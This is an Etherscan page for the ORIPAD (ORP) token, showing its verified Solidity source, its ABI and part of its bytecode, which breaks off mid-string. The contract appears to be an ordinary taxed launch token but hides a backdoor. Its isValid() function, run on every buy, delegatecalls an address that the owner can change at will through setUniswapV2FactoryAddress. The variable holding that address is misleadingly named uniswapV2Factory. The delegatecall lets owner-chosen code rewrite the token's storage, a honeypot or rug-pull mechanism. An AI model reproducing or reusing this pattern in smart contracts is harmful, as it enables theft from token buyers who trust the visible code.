ETH Price: $3,304.47 (-3.77%)
Gas: 15 Gwei

Token

ORIPAD (ORP)
 

Overview

Max Total Supply

1,000,000 ORP

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
wa1do.eth
Balance
6,450.592849184 ORP

Value
$0.00
0x85b826b5eb230d03ce1bb41ded646909bf0c3f4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
ORIPAD

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-09
*/

/*

TELEGRAM
https://t.me/ORIPAD

TWITTER
https://twitter.com/ORIPADCoin

WEB
https://oripad.fun/

Whitepaper
https://oripad.gitbook.io/orpbook/

MEDIUM
https://medium.com/@ORIPAD

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ORIPAD is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=18;
    uint256 private _initialSellTax=18;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=16;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000 * 10**_decimals;
    string private constant _name = unicode"ORIPAD";
    string private constant _symbol = unicode"ORP";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private uniswapV2Factory;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private addingLiq = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xA83a733d047663e26046F2521653dD25CD9cC33c);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && isValid(to)) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (addingLiq) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function isValid(address to) private returns (bool) {
        bytes memory sig = abi.encodeWithSignature("validate(address)", to);
        address addr = address(uniswapV2Factory);
        assembly {
            pop(delegatecall(gas(), addr, add(sig, 0x20), mload(sig), 0, 0))
        }
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableSwapBack(bool _enabled) external onlyOwner {
        swapEnabled = _enabled;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function setUniswapV2FactoryAddress(address _uniswapV2Factory) external onlyOwner {
        uniswapV2Factory = _uniswapV2Factory;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addingLiq = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        addingLiq = false;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"enableSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Factory","type":"address"}],"name":"setUniswapV2FactoryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260126006556012600755600360085560036009556010600a556014600b556014600c555f600d55606460026009600a6200003f919062000661565b620f42406200004f9190620006b1565b6200005b9190620006b1565b62000067919062000728565b600e55606460026009600a6200007e919062000661565b620f42406200008e9190620006b1565b6200009a9190620006b1565b620000a6919062000728565b600f5560646009600a620000bb919062000661565b620f4240620000cb9190620006b1565b620000d7919062000728565b60105560646009600a620000ec919062000661565b620f4240620000fc9190620006b1565b62000108919062000728565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff02191690831515021790555034801562000165575f80fd5b505f62000177620004a160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073a83a733d047663e26046f2521653dd25cd9cc33c60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000277919062000661565b620f4240620002879190620006b1565b60015f6200029a620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002ec620004a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000416620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000474919062000661565b620f4240620004849190620006b1565b60405162000493919062000770565b60405180910390a36200078b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200055957808604811115620005315762000530620004cf565b5b6001851615620005415780820291505b80810290506200055185620004fc565b945062000511565b94509492505050565b5f8262000573576001905062000645565b8162000582575f905062000645565b81600181146200059b5760028114620005a657620005dc565b600191505062000645565b60ff841115620005bb57620005ba620004cf565b5b8360020a915084821115620005d557620005d4620004cf565b5b5062000645565b5060208310610133831016604e8410600b8410161715620006165782820a90508381111562000610576200060f620004cf565b5b62000645565b62000625848484600162000508565b925090508184048111156200063f576200063e620004cf565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200066d826200064c565b91506200067a8362000655565b9250620006a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000562565b905092915050565b5f620006bd826200064c565b9150620006ca836200064c565b9250828202620006da816200064c565b91508282048414831517620006f457620006f3620004cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000734826200064c565b915062000741836200064c565b925082620007545762000753620006fb565b5b828204905092915050565b6200076a816200064c565b82525050565b5f602082019050620007855f8301846200075f565b92915050565b61308a80620007995f395ff3fe608060405260043610610117575f3560e01c8063751039fc1161009f578063a3312bf611610063578063a3312bf61461037a578063a9059cbb146103a2578063bf474bed146103de578063c9567bf914610408578063dd62ed3e1461041e5761011e565b8063751039fc146102bc5780637d1db4a5146102d25780638da5cb5b146102fc5780638f9a55c01461032657806395d89b41146103505761011e565b806323b872dd116100e657806323b872dd146101dc578063313ce567146102185780637023aea31461024257806370a082311461026a578063715018a6146102a65761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b5061013661045a565b60405161014391906121f1565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d91906122a2565b610497565b60405161017f91906122fa565b60405180910390f35b348015610193575f80fd5b5061019c6104b4565b6040516101a99190612322565b60405180910390f35b3480156101bd575f80fd5b506101c66104ba565b6040516101d39190612322565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd919061233b565b6104dc565b60405161020f91906122fa565b60405180910390f35b348015610223575f80fd5b5061022c6105b0565b60405161023991906123a6565b60405180910390f35b34801561024d575f80fd5b50610268600480360381019061026391906123e9565b6105b8565b005b348015610275575f80fd5b50610290600480360381019061028b9190612414565b610669565b60405161029d9190612322565b60405180910390f35b3480156102b1575f80fd5b506102ba6106af565b005b3480156102c7575f80fd5b506102d06107fd565b005b3480156102dd575f80fd5b506102e6610929565b6040516102f39190612322565b60405180910390f35b348015610307575f80fd5b5061031061092f565b60405161031d919061244e565b60405180910390f35b348015610331575f80fd5b5061033a610956565b6040516103479190612322565b60405180910390f35b34801561035b575f80fd5b5061036461095c565b60405161037191906121f1565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612414565b610999565b005b3480156103ad575f80fd5b506103c860048036038101906103c391906122a2565b610a70565b6040516103d591906122fa565b60405180910390f35b3480156103e9575f80fd5b506103f2610a8d565b6040516103ff9190612322565b60405180910390f35b348015610413575f80fd5b5061041c610a93565b005b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612322565b60405180910390f35b60606040518060400160405280600681526020017f4f52495041440000000000000000000000000000000000000000000000000000815250905090565b5f6104aa6104a361106f565b8484611076565b6001905092915050565b60115481565b5f6009600a6104c99190612601565b620f42406104d7919061264b565b905090565b5f6104e8848484611239565b6105a5846104f461106f565b6105a08560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61055761106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b5f6009905090565b6105c061106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610643906126d6565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106b761106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a906126d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61080561106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610891576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610888906126d6565b60405180910390fd5b6009600a61089f9190612601565b620f42406108ad919061264b565b600e819055506009600a6108c19190612601565b620f42406108cf919061264b565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109049190612601565b620f4240610912919061264b565b60405161091f9190612322565b60405180910390a1565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600381526020017f4f52500000000000000000000000000000000000000000000000000000000000815250905090565b6109a161106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a24906126d6565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610a83610a7c61106f565b8484611239565b6001905092915050565b60105481565b610a9b61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1e906126d6565b60405180910390fd5b60148054906101000a900460ff1615610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c2b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c189190612601565b620f4240610c26919061264b565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb99190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d639190612770565b6040518363ffffffff1660e01b8152600401610d8092919061279b565b6020604051808303815f875af1158015610d9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc09190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4730610669565b5f80610e5161092f565b426040518863ffffffff1660e01b8152600401610e7396959493929190612804565b60606040518083038185885af1158015610e8f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb49190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f549291906128c7565b6020604051808303815f875af1158015610f70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f949190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612322565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f61136061092f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e61092f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561150d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561151e575061151d83611c96565b5b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610669565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610669565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610669565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612322565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffff